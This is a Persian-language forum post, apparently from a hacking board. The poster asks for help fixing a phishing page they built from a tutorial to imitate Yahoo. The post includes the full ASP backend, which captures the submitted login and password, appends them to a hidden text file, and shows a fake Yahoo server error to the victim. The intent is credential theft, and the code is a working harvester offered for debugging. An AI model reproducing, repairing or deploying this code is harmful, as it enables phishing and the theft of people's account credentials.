-
اشکال در کد نویسی
سلام اولا ...
من یکمی دنبال فیک پیج و این چیزا بودم بعد یه آموزش خوندم بهش عمل کردم !
به این صورت بود که :
1- یک صفحه فیک داشتیم که کاربر اطلاعات رو وارد میکرد
2- یه فایل به نام save.asp که باید اطلاعات رو توی فایلی به نام ----.txt سیو میکرد
مشکل اینجاست که این اتفاق نمیوفته و سیو نمیشه و کد فایل save.asp برای کاربر نمایش داده میشه
در حالی که باید نوشته بشه :
Yahoo!Server Does Not Response!
Please try again after a few minutes.
مشکل کدش چیه الان ؟
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
مرسی
کد:
<html>
<body>
<%
Dim T1,T2
T1=request.form("Login")
T2=request.form("Passwd")
Const ForWriting=2,ForReading=1,ForAppending=8
Dim objOpenFile,objFSO,strPath,SiteCounter
strPath=Server.MapPath("----.txt")
Set objFSO=Server.CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists (strPath) Then
Set objOpenFile=objFSO.OpenTextFile(strPath,ForAppending)
objOPenFile.Writeline T1 & "========" & T2
objOpenFile.Close
Set objOpenFile=Nothing
End If
Set objFSO=Nothing
%>
Yahoo!Server Does Not Response!
Please try again after a few minutes.
</body>
</html>
